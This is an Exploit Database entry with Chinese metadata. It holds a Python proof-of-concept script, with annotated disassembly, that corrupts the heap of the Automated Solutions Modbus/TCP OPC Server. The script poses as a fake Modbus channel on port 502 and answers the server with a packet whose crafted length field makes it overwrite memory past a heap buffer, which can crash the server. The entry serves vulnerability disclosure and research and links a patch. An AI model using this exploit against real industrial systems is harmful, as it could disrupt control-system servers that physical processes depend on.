Automated Solutions Modbus/TCP OPC Server – Remote Heap Corruption (PoC)

Exploit Database
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作者： Jeremy Brown

日期： 2011-01-25
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/16040/

#!/usr/bin/python

# asmb-heap.py

# Automated Solutions Modbus/TCP OPC Server Remote Heap Corruption PoC

# Jeremy Brown [0xjbrown41-gmail-com]

# Jan 2011

# A specially crafted length field in a MODBUS packet header can trigger heap corruption.

# 00408312|> 8B5424 3CMOV EDX,DWORD PTR SS:[ESP+3C] -> move length into edx

# 00408316|. 53 PUSH EBX-> push src onto stack

# 00408317|. 8B5C24 3CMOV EBX,DWORD PTR SS:[ESP+3C] -> move dest into ebx

# 0040831B|. 8BCA MOV ECX,EDX -> move length into ecx

# 0040831D|. 55 PUSH EBP-> push ebp onto stack

# 0040831E|. 8BE9 MOV EBP,ECX -> move ecx into ebp

# 00408320|. 57 PUSH EDI-> push edi onto stack

# 00408321|. 33C0 XOR EAX,EAX -> eax = 0

# 00408323|. 8BFB MOV EDI,EBX -> move dest into edi

# 00408325|. 895C24 1CMOV DWORD PTR SS:[ESP+1C],EBX -> move ebx into dword at esp+1c

# 00408329|. C1E9 02SHR ECX,2 -> shift ecx right twice

# 0040832C|. F3:ABREP STOS DWORD PTR ES:[EDI] -> fill ecx dwords at edi with eax

# So basically memset(edi,eax,ecx). We control ecx, so we have control over the number of dwords

# it writes in the heap buffer. But, as you can see, the dwords themselves are not controllable,

# they are NULL. However, we can still write past the bounds of the allocated chunk of memory.

# Although it seems unlikely code execution could result, it is still possible to write data

# past the memory allocated on a heap (0x350000) available in the server process.

# This code works by setting up a fake channel and accepting a connection. To trigger this

# vulnerability, the server simply needs to initiate communication (monitor mode would be ideal)

# with this fake channel and the results depend on the response you choose.

# I tested version 3 running on Windows. Testing the server with this code and its default

# response should't cause the server to crash (immediately anyways). Larger lengths (such as

# the one commented out) may cause the server to crash.

# Patch: http://automatedsolutions.com/demos/demoform.asp?code=17

import sys

import socket

port=502

# [trans][prot] [len][u] [f][bc][data]

resp="\x00\x00"+"\x00\x00"+"\x02\x01"+"\x00"+"\x03"+"\x02"+"\x00\x00" # break @ 40832c, dump edi, keep hitting f9 and watch (debug)

#resp="\x00\x00"+"\x00\x00"+"\x02\xb0"+"\x00"+"\x03"+"\x02"+"\x00\x00" # Heap block at 0035F2D0 modified at 0035F4E7 past requested size of 20f

try:

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.bind(("",port))

sock.listen(1)

conn,addr=sock.accept()

except IOError,e:

print e

print "OPC server at %s connected\n"%addr[0]

req=conn.recv(32)

print "<-- %s"%req.encode("hex")

conn.send(resp)

print "--> %s\n"%resp.encode("hex")

conn.close()

print "finished, check server"